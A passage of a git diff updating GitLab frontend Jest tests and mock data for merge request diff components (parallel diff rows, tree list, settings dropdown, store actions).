+import { CENTERED_LIMITED_CONTAINER_CLASSES } from '~/diffs/constants';
+
+const propsData = {
+ limited: true,
+ mergeable: true,
+ resolutionPath: 'a-path',
+};
+const limitedClasses = CENTERED_LIMITED_CONTAINER_CLASSES.split(' ');
+
+function findResolveButton(wrapper) {
+ return wrapper.find('.gl-alert-actions a.gl-button:first-child');
+}
+function findLocalMergeButton(wrapper) {
+ return wrapper.find('.gl-alert-actions button.gl-button:last-child');
+}
+
+describe('MergeConflictWarning', () => {
+ let wrapper;
+
+ const createComponent = (props = {}, { full } = { full: false }) => {
+ const mounter = full ? mount : shallowMount;
+
+ wrapper = mounter(MergeConflictWarning, {
+ propsData: { ...propsData, ...props },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it.each`
+ limited | containerClasses
+ ${true} | ${limitedClasses}
+ ${false} | ${[]}
+ `(
+ 'has the correct container classes when limited is $limited',
+ ({ limited, containerClasses }) => {
+ createComponent({ limited });
+
+ expect(wrapper.classes()).toEqual(containerClasses);
+ },
+ );
+
+ it.each`
+ present | resolutionPath
+ ${false} | ${''}
+ ${true} | ${'some-path'}
+ `(
+ 'toggles the resolve conflicts button based on the provided resolutionPath "$resolutionPath"',
+ ({ present, resolutionPath }) => {
+ createComponent({ resolutionPath }, { full: true });
+ const resolveButton = findResolveButton(wrapper);
+
+ expect(resolveButton.exists()).toBe(present);
+ if (present) {
+ expect(resolveButton.attributes('href')).toBe(resolutionPath);
+ }
+ },
+ );
+
+ it.each`
+ present | mergeable
+ ${false} | ${false}
+ ${true} | ${true}
+ `(
+ 'toggles the local merge button based on the provided mergeable property "$mergable"',
+ ({ present, mergeable }) => {
+ createComponent({ mergeable }, { full: true });
+ const localMerge = findLocalMergeButton(wrapper);
+
+ expect(localMerge.exists()).toBe(present);
+ },
+ );
+});
diff --git a/spec/frontend/diffs/components/no_changes_spec.js b/spec/frontend/diffs/components/no_changes_spec.js
index 2795c68b4ee..78805a1cddc 100644
--- a/spec/frontend/diffs/components/no_changes_spec.js
+++ b/spec/frontend/diffs/components/no_changes_spec.js
@@ -36,7 +36,7 @@ describe('Diff no changes empty state', () => {
};
});
- expect(vm.contains('script')).toBe(false);
+ expect(vm.find('script').exists()).toBe(false);
});
describe('Renders', () => {
diff --git a/spec/frontend/diffs/components/parallel_diff_table_row_spec.js b/spec/frontend/diffs/components/parallel_diff_table_row_spec.js
index 339352943a9..13c4ce06f18 100644
--- a/spec/frontend/diffs/components/parallel_diff_table_row_spec.js
+++ b/spec/frontend/diffs/components/parallel_diff_table_row_spec.js
@@ -1,9 +1,12 @@
import Vue from 'vue';
import { shallowMount } from '@vue/test-utils';
import { createComponentWithStore } from 'helpers/vue_mount_component_helper';
+import { TEST_HOST } from 'helpers/test_constants';
import { createStore } from '~/mr_notes/stores';
import ParallelDiffTableRow from '~/diffs/components/parallel_diff_table_row.vue';
import diffFileMockData from '../mock_data/diff_file';
+import DiffGutterAvatars from '~/diffs/components/diff_gutter_avatars.vue';
+import discussionsMockData from '../mock_data/diff_discussions';
describe('ParallelDiffTableRow', () => {
describe('when one side is empty', () => {
@@ -158,4 +161,260 @@ describe('ParallelDiffTableRow', () => {
});
});
});
+
+ describe('Table Cells', () => {
+ let wrapper;
+ let store;
+ let thisLine;
+ const TEST_USER_ID = 'abc123';
+ const TEST_USER = { id: TEST_USER_ID };
+
+ const createComponent = (props = {}, propsStore = store, data = {}) => {
+ wrapper = shallowMount(ParallelDiffTableRow, {
+ store: propsStore,
+ propsData: {
+ line: thisLine,
+ fileHash: diffFileMockData.file_hash,
+ filePath: diffFileMockData.file_path,
+ contextLinesPath: 'contextLinesPath',
+ isHighlighted: false,
+ ...props,
+ },
+ data() {
+ return data;
+ },
+ });
+ };
+
+ const setWindowLocation = value => {
+ Object.defineProperty(window, 'location', {
+ writable: true,
+ value,
+ });
+ };
+
+ beforeEach(() => {
+ // eslint-disable-next-line prefer-destructuring
+ thisLine = diffFileMockData.parallel_diff_lines[2];
+ store = createStore();
+ store.state.notes.userData = TEST_USER;
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findNewTd = () => wrapper.find({ ref: 'newTd' });
+ const findOldTd = () => wrapper.find({ ref: 'oldTd' });
+
+ describe('td', () => {
+ it('highlights when isHighlighted true', () => {
+ store.state.diffs.highlightedRow = thisLine.left.line_code;
+ createComponent({}, store);
+
+ expect(findNewTd().classes()).toContain('hll');
+ expect(findOldTd().classes()).toContain('hll');
+ });
+
+ it('does not highlight when isHighlighted false', () => {
+ createComponent();
+
+ expect(findNewTd().classes()).not.toContain('hll');
+ expect(findOldTd().classes()).not.toContain('hll');
+ });
+ });
+
+ describe('comment button', () => {
+ const findNoteButton = () => wrapper.find({ ref: 'addDiffNoteButtonLeft' });
+
+ it.each`
+ hover | line | userData | query | mergeRefHeadComments | expectation
+ ${true} | ${{}} | ${TEST_USER} | ${'diff_head=false'} | ${false} | ${true}
+ ${true} | ${{ line: { left: null } }} | ${TEST_USER} | ${'diff_head=false'} | ${false} | ${false}
+ ${true} | ${{}} | ${TEST_USER} | ${'diff_head=true'} | ${true} | ${true}
+ ${true} | ${{}} | ${TEST_USER} | ${'diff_head=true'} | ${false} | ${false}
+ ${true} | ${{}} | ${null} | ${''} | ${true} | ${false}
+ ${false} | ${{}} | ${TEST_USER} | ${'diff_head=false'} | ${false} | ${false}
+ `(
+ 'exists is $expectation - with userData ($userData) query ($query)',
+ async ({ hover, line, userData, query, mergeRefHeadComments, expectation }) => {
+ store.state.notes.userData = userData;
+ gon.features = { mergeRefHeadComments };
+ setWindowLocation({ href: `${TEST_HOST}?${query}` });
+ createComponent(line, store);
+ if (hover) await wrapper.find('.line_holder').trigger('mouseover');
+
+ expect(findNoteButton().exists()).toBe(expectation);
+ },
+ );
+
+ it.each`
+ line | expectation
+ ${{ ...thisLine, left: { discussions: [] } }} | ${true}
+ ${{ ...thisLine, left: { type: 'context', discussions: [] } }} | ${false}
+ ${{ ...thisLine, left: { type: 'old-nonewline', discussions: [] } }} | ${false}
+ ${{ ...thisLine, left: { discussions: [{}] } }} | ${false}
+ `('visible is $expectation - line ($line)', async ({ line, expectation }) => {
+ createComponent({ line }, store, { isLeftHover: true, isCommentButtonRendered: true });
+
+ expect(findNoteButton().isVisible()).toBe(expectation);
+ });
+
+ it.each`
+ disabled | commentsDisabled
+ ${'disabled'} | ${true}
+ ${undefined} | ${false}
+ `(
+ 'has attribute disabled=$disabled when the outer component has prop commentsDisabled=$commentsDisabled',
+ ({ disabled, commentsDisabled }) => {
+ thisLine.left.commentsDisabled = commentsDisabled;
+ createComponent({ line: { ...thisLine } }, store, {
+ isLeftHover: true,
+ isCommentButtonRendered: true,
+ });
+
+ expect(findNoteButton().attributes('disabled')).toBe(disabled);
+ },
+ );
+
+ const symlinkishFileTooltip =
+ 'Commenting on symbolic links that replace or are replaced by files is currently not supported.';
+ const realishFileTooltip =
+ 'Commenting on files that replace or are replaced by symbolic links is currently not supported.';
+ const otherFileTooltip = 'Add a comment to this line';
+ const findTooltip = () => wrapper.find({ ref: 'addNoteTooltipLeft' });
+
+ it.each`
+ tooltip | commentsDisabled
+ ${symlinkishFileTooltip} | ${{ wasSymbolic: true }}
+ ${symlinkishFileTooltip} | ${{ isSymbolic: true }}
+ ${realishFileTooltip} | ${{ wasReal: true }}
+ ${realishFileTooltip} | ${{ isReal: true }}
+ ${otherFileTooltip} | ${false}
+ `(
+ 'has the correct tooltip when commentsDisabled=$commentsDisabled',
+ ({ tooltip, commentsDisabled }) => {
+ thisLine.left.commentsDisabled = commentsDisabled;
+ createComponent({ line: { ...thisLine } }, store, {
+ isLeftHover: true,
+ isCommentButtonRendered: true,
+ });
+
+ expect(findTooltip().attributes('title')).toBe(tooltip);
+ },
+ );
+ });
+
+ describe('line number', () => {
+ const findLineNumberOld = () => wrapper.find({ ref: 'lineNumberRefOld' });
+ const findLineNumberNew = () => wrapper.find({ ref: 'lineNumberRefNew' });
+
+ it('renders line numbers in correct cells', () => {
+ createComponent();
+
+ expect(findLineNumberOld().exists()).toBe(true);
+ expect(findLineNumberNew().exists()).toBe(true);
+ });
+
+ describe('with lineNumber prop', () => {
+ const TEST_LINE_CODE = 'LC_42';
+ const TEST_LINE_NUMBER = 1;
+
+ describe.each`
+ lineProps | findLineNumber | expectedHref | expectedClickArg
+ ${{ line_code: TEST_LINE_CODE, old_line: TEST_LINE_NUMBER }} | ${findLineNumberOld} | ${`#${TEST_LINE_CODE}`} | ${TEST_LINE_CODE}
+ ${{ line_code: undefined, old_line: TEST_LINE_NUMBER }} | ${findLineNumberOld} | ${'#'} | ${undefined}
+ `(
+ 'with line ($lineProps)',
+ ({ lineProps, findLineNumber, expectedHref, expectedClickArg }) => {
+ beforeEach(() => {
+ jest.spyOn(store, 'dispatch').mockImplementation();
+ Object.assign(thisLine.left, lineProps);
+ Object.assign(thisLine.right, lineProps);
+ createComponent({
+ line: { ...thisLine },
+ });
+ });
+
+ it('renders', () => {
+ expect(findLineNumber().exists()).toBe(true);
+ expect(findLineNumber().attributes()).toEqual({
+ href: expectedHref,
+ 'data-linenumber': TEST_LINE_NUMBER.toString(),
+ });
+ });
+
+ it('on click, dispatches setHighlightedRow', () => {
+ expect(store.dispatch).toHaveBeenCalledTimes(1);
+
+ findLineNumber().trigger('click');
+
+ expect(store.dispatch).toHaveBeenCalledWith(
+ 'diffs/setHighlightedRow',
+ expectedClickArg,
+ );
+ expect(store.dispatch).toHaveBeenCalledTimes(2);
+ });
+ },
+ );
+ });
+ });
+
+ describe('diff-gutter-avatars', () => {
+ const TEST_LINE_CODE = 'LC_42';
+ const TEST_FILE_HASH = diffFileMockData.file_hash;
+ const findAvatars = () => wrapper.find(DiffGutterAvatars);
+ let line;
+
+ beforeEach(() => {
+ jest.spyOn(store, 'dispatch').mockImplementation();
+
+ line = {
+ left: {
+ line_code: TEST_LINE_CODE,
+ type: 'new',
+ old_line: null,
+ new_line: 1,
+ discussions: [{ ...discussionsMockData }],
+ discussionsExpanded: true,
+ text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
+ rich_text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
+ meta_data: null,
+ },
+ };
+ });
+
+ describe('with showCommentButton', () => {
+ it('renders if line has discussions', () => {
+ createComponent({ line });
+
+ expect(findAvatars().props()).toEqual({
+ discussions: line.left.discussions,
+ discussionsExpanded: line.left.discussionsExpanded,
+ });
+ });
+
+ it('does notrender if line has no discussions', () => {
+ line.left.discussions = [];
+ createComponent({ line });
+
+ expect(findAvatars().exists()).toEqual(false);
+ });
+
+ it('toggles line discussion', () => {
+ createComponent({ line });
+
+ expect(store.dispatch).toHaveBeenCalledTimes(1);
+
+ findAvatars().vm.$emit('toggleLineDiscussions');
+
+ expect(store.dispatch).toHaveBeenCalledWith('diffs/toggleLineDiscussions', {
+ lineCode: TEST_LINE_CODE,
+ fileHash: TEST_FILE_HASH,
+ expanded: !line.left.discussionsExpanded,
+ });
+ });
+ });
+ });
+ });
});
diff --git a/spec/frontend/diffs/components/parallel_diff_view_spec.js b/spec/frontend/diffs/components/parallel_diff_view_spec.js
index cb1a47f60d5..44ed303d0ef 100644
--- a/spec/frontend/diffs/components/parallel_diff_view_spec.js
+++ b/spec/frontend/diffs/components/parallel_diff_view_spec.js
@@ -1,33 +1,37 @@
-import Vue from 'vue';
-import { createComponentWithStore } from 'helpers/vue_mount_component_helper';
+import Vuex from 'vuex';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
import { createStore } from '~/mr_notes/stores';
import ParallelDiffView from '~/diffs/components/parallel_diff_view.vue';
-import * as constants from '~/diffs/constants';
+import parallelDiffTableRow from '~/diffs/components/parallel_diff_table_row.vue';
import diffFileMockData from '../mock_data/diff_file';
-describe('ParallelDiffView', () => {
- let component;
- const getDiffFileMock = () => ({ ...diffFileMockData });
+let wrapper;
+const localVue = createLocalVue();
+
+localVue.use(Vuex);
- beforeEach(() => {
- const diffFile = getDiffFileMock();
+function factory() {
+ const diffFile = { ...diffFileMockData };
+ const store = createStore();
- component = createComponentWithStore(Vue.extend(ParallelDiffView), createStore(), {
+ wrapper = shallowMount(ParallelDiffView, {
+ localVue,
+ store,
+ propsData: {
diffFile,
diffLines: diffFile.parallel_diff_lines,
- }).$mount();
+ },
});
+}
+describe('ParallelDiffView', () => {
afterEach(() => {
- component.$destroy();
+ wrapper.destroy();
});
- describe('assigned', () => {
- describe('diffLines', () => {
- it('should normalize lines for empty cells', () => {
- expect(component.diffLines[0].left.type).toEqual(constants.EMPTY_CELL_TYPE);
- expect(component.diffLines[1].left.type).toEqual(constants.EMPTY_CELL_TYPE);
- });
- });
+ it('renders diff lines', () => {
+ factory();
+
+ expect(wrapper.findAll(parallelDiffTableRow).length).toBe(8);
});
});
diff --git a/spec/frontend/diffs/components/settings_dropdown_spec.js b/spec/frontend/diffs/components/settings_dropdown_spec.js
index 2e95d79ea49..72330d8efba 100644
--- a/spec/frontend/diffs/components/settings_dropdown_spec.js
+++ b/spec/frontend/diffs/components/settings_dropdown_spec.js
@@ -7,7 +7,7 @@ import { PARALLEL_DIFF_VIEW_TYPE, INLINE_DIFF_VIEW_TYPE } from '~/diffs/constant
const localVue = createLocalVue();
localVue.use(Vuex);
-describe('Diff settiings dropdown component', () => {
+describe('Diff settings dropdown component', () => {
let vm;
let actions;
@@ -50,7 +50,7 @@ describe('Diff settiings dropdown component', () => {
vm.find('.js-list-view').trigger('click');
- expect(actions.setRenderTreeList).toHaveBeenCalledWith(expect.anything(), false, undefined);
+ expect(actions.setRenderTreeList).toHaveBeenCalledWith(expect.anything(), false);
});
it('tree view button dispatches setRenderTreeList with true', () => {
@@ -58,53 +58,53 @@ describe('Diff settiings dropdown component', () => {
vm.find('.js-tree-view').trigger('click');
- expect(actions.setRenderTreeList).toHaveBeenCalledWith(expect.anything(), true, undefined);
+ expect(actions.setRenderTreeList).toHaveBeenCalledWith(expect.anything(), true);
});
- it('sets list button as active when renderTreeList is false', () => {
+ it('sets list button as selected when renderTreeList is false', () => {
createComponent(store => {
Object.assign(store.state.diffs, {
renderTreeList: false,
});
});
- expect(vm.find('.js-list-view').classes('active')).toBe(true);
- expect(vm.find('.js-tree-view').classes('active')).toBe(false);
+ expect(vm.find('.js-list-view').classes('selected')).toBe(true);
+ expect(vm.find('.js-tree-view').classes('selected')).toBe(false);
});
- it('sets tree button as active when renderTreeList is true', () => {
+ it('sets tree button as selected when renderTreeList is true', () => {
createComponent(store => {
Object.assign(store.state.diffs, {
renderTreeList: true,
});
});
- expect(vm.find('.js-list-view').classes('active')).toBe(false);
- expect(vm.find('.js-tree-view').classes('active')).toBe(true);
+ expect(vm.find('.js-list-view').classes('selected')).toBe(false);
+ expect(vm.find('.js-tree-view').classes('selected')).toBe(true);
});
});
describe('compare changes', () => {
- it('sets inline button as active', () => {
+ it('sets inline button as selected', () => {
createComponent(store => {
Object.assign(store.state.diffs, {
diffViewType: INLINE_DIFF_VIEW_TYPE,
});
});
- expect(vm.find('.js-inline-diff-button').classes('active')).toBe(true);
- expect(vm.find('.js-parallel-diff-button').classes('active')).toBe(false);
+ expect(vm.find('.js-inline-diff-button').classes('selected')).toBe(true);
+ expect(vm.find('.js-parallel-diff-button').classes('selected')).toBe(false);
});
- it('sets parallel button as active', () => {
+ it('sets parallel button as selected', () => {
createComponent(store => {
Object.assign(store.state.diffs, {
diffViewType: PARALLEL_DIFF_VIEW_TYPE,
});
});
- expect(vm.find('.js-inline-diff-button').classes('active')).toBe(false);
- expect(vm.find('.js-parallel-diff-button').classes('active')).toBe(true);
+ expect(vm.find('.js-inline-diff-button').classes('selected')).toBe(false);
+ expect(vm.find('.js-parallel-diff-button').classes('selected')).toBe(true);
});
it('calls setInlineDiffViewType when clicking inline button', () => {
@@ -153,14 +153,10 @@ describe('Diff settiings dropdown component', () => {
checkbox.element.checked = true;
checkbox.trigger('change');
- expect(actions.setShowWhitespace).toHaveBeenCalledWith(
- expect.anything(),
- {
- showWhitespace: true,
- pushState: true,
- },
- undefined,
- );
+ expect(actions.setShowWhitespace).toHaveBeenCalledWith(expect.anything(), {
+ showWhitespace: true,
+ pushState: true,
+ });
});
});
});
diff --git a/spec/frontend/diffs/components/tree_list_spec.js b/spec/frontend/diffs/components/tree_list_spec.js
index 14cb2a17aec..cc177a81d88 100644
--- a/spec/frontend/diffs/components/tree_list_spec.js
+++ b/spec/frontend/diffs/components/tree_list_spec.js
@@ -1,16 +1,26 @@
import Vuex from 'vuex';
-import { mount, createLocalVue } from '@vue/test-utils';
+import { shallowMount, mount, createLocalVue } from '@vue/test-utils';
import TreeList from '~/diffs/components/tree_list.vue';
import createStore from '~/diffs/store/modules';
+import FileTree from '~/vue_shared/components/file_tree.vue';
describe('Diffs tree list component', () => {
let wrapper;
+ let store;
const getFileRows = () => wrapper.findAll('.file-row');
const localVue = createLocalVue();
localVue.use(Vuex);
- const createComponent = state => {
- const store = new Vuex.Store({
+ const createComponent = (mountFn = mount) => {
+ wrapper = mountFn(TreeList, {
+ store,
+ localVue,
+ propsData: { hideFileStats: false },
+ });
+ };
+
+ beforeEach(() => {
+ store = new Vuex.Store({
modules: {
diffs: createStore(),
},
@@ -23,61 +33,57 @@ describe('Diffs tree list component', () => {
addedLines: 10,
removedLines: 20,
...store.state.diffs,
- ...state,
};
+ });
- wrapper = mount(TreeList, {
- store,
- localVue,
- propsData: { hideFileStats: false },
+ const setupFilesInState = () => {
+ const treeEntries = {
+ 'index.js': {
+ addedLines: 0,
+ changed: true,
+ deleted: false,
+ fileHash: 'test',
+ key: 'index.js',
+ name: 'index.js',
+ path: 'app/index.js',
+ removedLines: 0,
+ tempFile: true,
+ type: 'blob',
+ parentPath: 'app',
+ },
+ app: {
+ key: 'app',
+ path: 'app',
+ name: 'app',
+ type: 'tree',
+ tree: [],
+ },
+ };
+
+ Object.assign(store.state.diffs, {
+ treeEntries,
+ tree: [treeEntries['index.js'], treeEntries.app],
});
};
- beforeEach(() => {
- localStorage.removeItem('mr_diff_tree_list');
-
- createComponent();
- });
-
afterEach(() => {
wrapper.destroy();
});
- it('renders empty text', () => {
- expect(wrapper.text()).toContain('No files found');
+ describe('default', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders empty text', () => {
+ expect(wrapper.text()).toContain('No files found');
+ });
});
describe('with files', () => {
beforeEach(() => {
- const treeEntries = {
- 'index.js': {
- addedLines: 0,
- changed: true,
- deleted: false,
- fileHash: 'test',
- key: 'index.js',
- name: 'index.js',
- path: 'app/index.js',
- removedLines: 0,
- tempFile: true,
- type: 'blob',
- parentPath: 'app',
- },
- app: {
- key: 'app',
- path: 'app',
- name: 'app',
- type: 'tree',
- tree: [],
- },
- };
-
- createComponent({
- treeEntries,
- tree: [treeEntries['index.js'], treeEntries.app],
- });
-
- return wrapper.vm.$nextTick();
+ setupFilesInState();
+ createComponent();
});
it('renders tree', () => {
@@ -136,4 +142,23 @@ describe('Diffs tree list component', () => {
});
});
});
+
+ describe('with viewedDiffFileIds', () => {
+ const viewedDiffFileIds = { fileId: '#12345' };
+
+ beforeEach(() => {
+ setupFilesInState();
+ store.state.diffs.viewedDiffFileIds = viewedDiffFileIds;
+ });
+
+ it('passes the viewedDiffFileIds to the FileTree', () => {
+ createComponent(shallowMount);
+
+ return wrapper.vm.$nextTick().then(() => {
+ // Have to use $attrs['viewed-files'] because we are passing down an object
+ // and attributes('') stringifies values (e.g. [object])...
+ expect(wrapper.find(FileTree).vm.$attrs['viewed-files']).toBe(viewedDiffFileIds);
+ });
+ });
+ });
});
diff --git a/spec/frontend/diffs/mock_data/diff_file.js b/spec/frontend/diffs/mock_data/diff_file.js
index e4b2fdf6ede..c2a4424ee95 100644
--- a/spec/frontend/diffs/mock_data/diff_file.js
+++ b/spec/frontend/diffs/mock_data/diff_file.js
@@ -56,8 +56,8 @@ export default {
old_line: null,
new_line: 1,
discussions: [],
- text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
- rich_text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
+ text: '<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
+ rich_text: '<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
meta_data: null,
},
{
@@ -66,8 +66,8 @@ export default {
old_line: null,
new_line: 2,
discussions: [],
- text: '+<span id="LC2" class="line" lang="plaintext"></span>\n',
- rich_text: '+<span id="LC2" class="line" lang="plaintext"></span>\n',
+ text: '<span id="LC2" class="line" lang="plaintext"></span>\n',
+ rich_text: '<span id="LC2" class="line" lang="plaintext"></span>\n',
meta_data: null,
},
{
@@ -76,8 +76,8 @@ export default {
old_line: 1,
new_line: 3,
discussions: [],
- text: ' <span id="LC3" class="line" lang="plaintext">v6.8.0</span>\n',
- rich_text: ' <span id="LC3" class="line" lang="plaintext">v6.8.0</span>\n',
+ text: '<span id="LC3" class="line" lang="plaintext">v6.8.0</span>\n',
+ rich_text: '<span id="LC3" class="line" lang="plaintext">v6.8.0</span>\n',
meta_data: null,
},
{
@@ -86,8 +86,8 @@ export default {
old_line: 2,
new_line: 4,
discussions: [],
- text: ' <span id="LC4" class="line" lang="plaintext"></span>\n',
- rich_text: ' <span id="LC4" class="line" lang="plaintext"></span>\n',
+ text: '<span id="LC4" class="line" lang="plaintext"></span>\n',
+ rich_text: '<span id="LC4" class="line" lang="plaintext"></span>\n',
meta_data: null,
},
{
@@ -96,8 +96,38 @@ export default {
old_line: 3,
new_line: 5,
discussions: [],
- text: ' <span id="LC5" class="line" lang="plaintext">v6.7.0</span>\n',
- rich_text: ' <span id="LC5" class="line" lang="plaintext">v6.7.0</span>\n',
+ text: '<span id="LC5" class="line" lang="plaintext">v6.7.0</span>\n',
+ rich_text: '<span id="LC5" class="line" lang="plaintext">v6.7.0</span>\n',
+ meta_data: null,
+ },
+ {
+ line_code: '1c497fbb3a46b78edf04cc2a2fa33f67e3ffbe2a_1_6',
+ type: 'old',
+ old_line: 4,
+ new_line: null,
+ discussions: [],
+ text: '<span id="LC6" class="line" lang="plaintext"></span>\n',
+ rich_text: '<span id="LC6" class="line" lang="plaintext"></span>\n',
+ meta_data: null,
+ },
+ {
+ line_code: '1c497fbb3a46b78edf04cc2a2fa33f67e3ffbe2a_1_7',
+ type: 'new',
+ old_line: null,
+ new_line: 5,
+ discussions: [],
+ text: '<span id="LC7" class="line" lang="plaintext"></span>\n',
+ rich_text: '<span id="LC7" class="line" lang="plaintext"></span>\n',
+ meta_data: null,
+ },
+ {
+ line_code: '1c497fbb3a46b78edf04cc2a2fa33f67e3ffbe2a_1_9',
+ type: 'new',
+ old_line: null,
+ new_line: 6,
+ discussions: [],
+ text: '<span id="LC7" class="line" lang="plaintext"></span>\n',
+ rich_text: '<span id="LC7" class="line" lang="plaintext"></span>\n',
meta_data: null,
},
{
@@ -116,43 +146,39 @@ export default {
],
parallel_diff_lines: [
{
- left: {
- type: 'empty-cell',
- },
+ left: null,
right: {
line_code: '1c497fbb3a46b78edf04cc2a2fa33f67e3ffbe2a_1_1',
type: 'new',
old_line: null,
new_line: 1,
discussions: [],
- text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
+ text: '<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
rich_text: '<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
meta_data: null,
},
},
{
- left: {
- type: 'empty-cell',
- },
+ left: null,
right: {
line_code: '1c497fbb3a46b78edf04cc2a2fa33f67e3ffbe2a_1_2',
type: 'new',
old_line: null,
new_line: 2,
discussions: [],
- text: '+<span id="LC2" class="line" lang="plaintext"></span>\n',
+ text: '<span id="LC2" class="line" lang="plaintext"></span>\n',
rich_text: '<span id="LC2" class="line" lang="plaintext"></span>\n',
meta_data: null,
},
},
{
left: {
- line_Code: '1c497fbb3a46b78edf04cc2a2fa33f67e3ffbe2a_1_3',
+ line_code: '1c497fbb3a46b78edf04cc2a2fa33f67e3ffbe2a_1_3',
type: null,
old_line: 1,
new_line: 3,
discussions: [],
- text: ' <span id="LC3" class="line" lang="plaintext">v6.8.0</span>\n',
+ text: '<span id="LC3" class="line" lang="plaintext">v6.8.0</span>\n',
rich_text: '<span id="LC3" class="line" lang="plaintext">v6.8.0</span>\n',
meta_data: null,
},
@@ -162,7 +188,7 @@ export default {
old_line: 1,
new_line: 3,
discussions: [],
- text: ' <span id="LC3" class="line" lang="plaintext">v6.8.0</span>\n',
+ text: '<span id="LC3" class="line" lang="plaintext">v6.8.0</span>\n',
rich_text: '<span id="LC3" class="line" lang="plaintext">v6.8.0</span>\n',
meta_data: null,
},
@@ -174,7 +200,7 @@ export default {
old_line: 2,
new_line: 4,
discussions: [],
- text: ' <span id="LC4" class="line" lang="plaintext"></span>\n',
+ text: '<span id="LC4" class="line" lang="plaintext"></span>\n',
rich_text: '<span id="LC4" class="line" lang="plaintext"></span>\n',
meta_data: null,
},
@@ -184,7 +210,7 @@ export default {
old_line: 2,
new_line: 4,
discussions: [],
- text: ' <span id="LC4" class="line" lang="plaintext"></span>\n',
+ text: '<span id="LC4" class="line" lang="plaintext"></span>\n',
rich_text: '<span id="LC4" class="line" lang="plaintext"></span>\n',
meta_data: null,
},
@@ -196,7 +222,7 @@ export default {
old_line: 3,
new_line: 5,
discussions: [],
- text: ' <span id="LC5" class="line" lang="plaintext">v6.7.0</span>\n',
+ text: '<span id="LC5" class="line" lang="plaintext">v6.7.0</span>\n',
rich_text: '<span id="LC5" class="line" lang="plaintext">v6.7.0</span>\n',
meta_data: null,
},
@@ -206,13 +232,48 @@ export default {
old_line: 3,
new_line: 5,
discussions: [],
- text: ' <span id="LC5" class="line" lang="plaintext">v6.7.0</span>\n',
+ text: '<span id="LC5" class="line" lang="plaintext">v6.7.0</span>\n',
rich_text: '<span id="LC5" class="line" lang="plaintext">v6.7.0</span>\n',
meta_data: null,
},
},
{
left: {
+ line_code: '1c497fbb3a46b78edf04cc2a2fa33f67e3ffbe2a_1_6',
+ type: 'old',
+ old_line: 4,
+ new_line: null,
+ discussions: [],
+ text: '<span id="LC6" class="line" lang="plaintext"></span>\n',
+ rich_text: '<span id="LC6" class="line" lang="plaintext"></span>\n',
+ meta_data: null,
+ },
+ right: {
+ line_code: '1c497fbb3a46b78edf04cc2a2fa33f67e3ffbe2a_1_7',
+ type: 'new',
+ old_line: null,
+ new_line: 5,
+ discussions: [],
+ text: '<span id="LC7" class="line" lang="plaintext"></span>\n',
+ rich_text: '<span id="LC7" class="line" lang="plaintext"></span>\n',
+ meta_data: null,
+ },
+ },
+ {
+ left: null,
+ right: {
+ line_code: '1c497fbb3a46b78edf04cc2a2fa33f67e3ffbe2a_1_9',
+ type: 'new',
+ old_line: null,
+ new_line: 6,
+ discussions: [],
+ text: '<span id="LC7" class="line" lang="plaintext"></span>\n',
+ rich_text: '<span id="LC7" class="line" lang="plaintext"></span>\n',
+ meta_data: null,
+ },
+ },
+ {
+ left: {
line_code: null,
type: 'match',
old_line: null,
diff --git a/spec/frontend/diffs/mock_data/diff_metadata.js b/spec/frontend/diffs/mock_data/diff_metadata.js
index b73b29e4bc8..cfa0038c06f 100644
--- a/spec/frontend/diffs/mock_data/diff_metadata.js
+++ b/spec/frontend/diffs/mock_data/diff_metadata.js
@@ -1,6 +1,3 @@
-/* eslint-disable import/prefer-default-export */
-/* https://gitlab.com/gitlab-org/frontend/rfcs/-/issues/20 */
-
export const diffMetadata = {
real_size: '1',
size: 1,
diff --git a/spec/frontend/diffs/store/actions_spec.js b/spec/frontend/diffs/store/actions_spec.js
index 5fef35d6c5b..4f647b0cd41 100644
--- a/spec/frontend/diffs/store/actions_spec.js
+++ b/spec/frontend/diffs/store/actions_spec.js
@@ -13,7 +13,6 @@ import {
} from '~/diffs/constants';
import {
setBaseConfig,
- fetchDiffFiles,
fetchDiffFilesBatch,
fetchDiffFilesMeta,
fetchCoverageFiles,
@@ -101,7 +100,6 @@ describe('DiffsStoreActions', () => {
const projectPath = '/root/project';
const dismissEndpoint = '/-/user_callouts';
const showSuggestPopover = false;
- const useSingleDiffStyle = false;
testAction(
setBaseConfig,
@@ -113,7 +111,6 @@ describe('DiffsStoreActions', () => {
projectPath,
dismissEndpoint,
showSuggestPopover,
- useSingleDiffStyle,
},
{
endpoint: '',
@@ -123,7 +120,6 @@ describe('DiffsStoreActions', () => {
projectPath: '',
dismissEndpoint: '',
showSuggestPopover: true,
- useSingleDiffStyle: true,
},
[
{
@@ -136,7 +132,6 @@ describe('DiffsStoreActions', () => {
projectPath,
dismissEndpoint,
showSuggestPopover,
- useSingleDiffStyle,
},
},
],
@@ -146,39 +141,6 @@ describe('DiffsStoreActions', () => {
});
});
- describe('fetchDiffFiles', () => {
- it('should fetch diff files', done => {
- const endpoint = '/fetch/diff/files?view=inline&w=1';
- const mock = new MockAdapter(axios);
- const res = { diff_files: 1, merge_request_diffs: [] };
- mock.onGet(endpoint).reply(200, res);
-
- testAction(
- fetchDiffFiles,
- {},
- { endpoint, diffFiles: [], showWhitespace: false, diffViewType: 'inline' },
- [
- { type: types.SET_LOADING, payload: true },
- { type: types.SET_LOADING, payload: false },
- { type: types.SET_MERGE_REQUEST_DIFFS, payload: res.merge_request_diffs },
- { type: types.SET_DIFF_DATA, payload: res },
- ],
- [],
- () => {
- mock.restore();
- done();
- },
- );
-
- fetchDiffFiles({ state: { endpoint }, commit: () => null })
- .then(data => {
- expect(data).toEqual(res);
- done();
- })
- .catch(done.fail);
- });
- });
-
describe('fetchDiffFilesBatch', () => {
let mock;
@@ -223,16 +185,16 @@ describe('DiffsStoreActions', () => {
testAction(
fetchDiffFilesBatch,
{},
